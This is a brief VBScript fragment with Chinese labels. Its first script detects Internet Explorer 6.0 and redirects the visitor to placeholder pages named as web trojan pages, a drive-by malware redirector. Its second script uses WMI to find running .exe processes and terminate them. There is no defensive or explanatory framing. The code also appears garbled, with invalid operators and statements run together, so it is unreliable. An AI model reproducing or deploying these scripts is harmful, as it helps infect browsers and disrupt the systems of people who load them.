「〈SCRIPT language=vbscript〉
if Instr(window.navigator.appversion,"MSIE 6.0")>0 then
alert("瀏 覽 器:Internet Explorer 6.0")
window.location.href="IE6.0網頁木馬頁面"
else
alert("瀏 覽 器:6.0版本以下")
window.location.href="IE6.0以下版網頁木馬頁面"
end if
〈/SCRIPT〉」
On Error Resume Next
strComputer="."Set objWMIService = GetObject("winmgmts:" _
&& "{impersonationLevel=impersonate}!\\" && strComputer && "\root\cimv2")Set colProcessList
=objWMIService.ExecQuery _
("Select * from Win32_Process Where Name='*.exe'")For Each objProcess in colProcessList
objProcess.Terminate()Next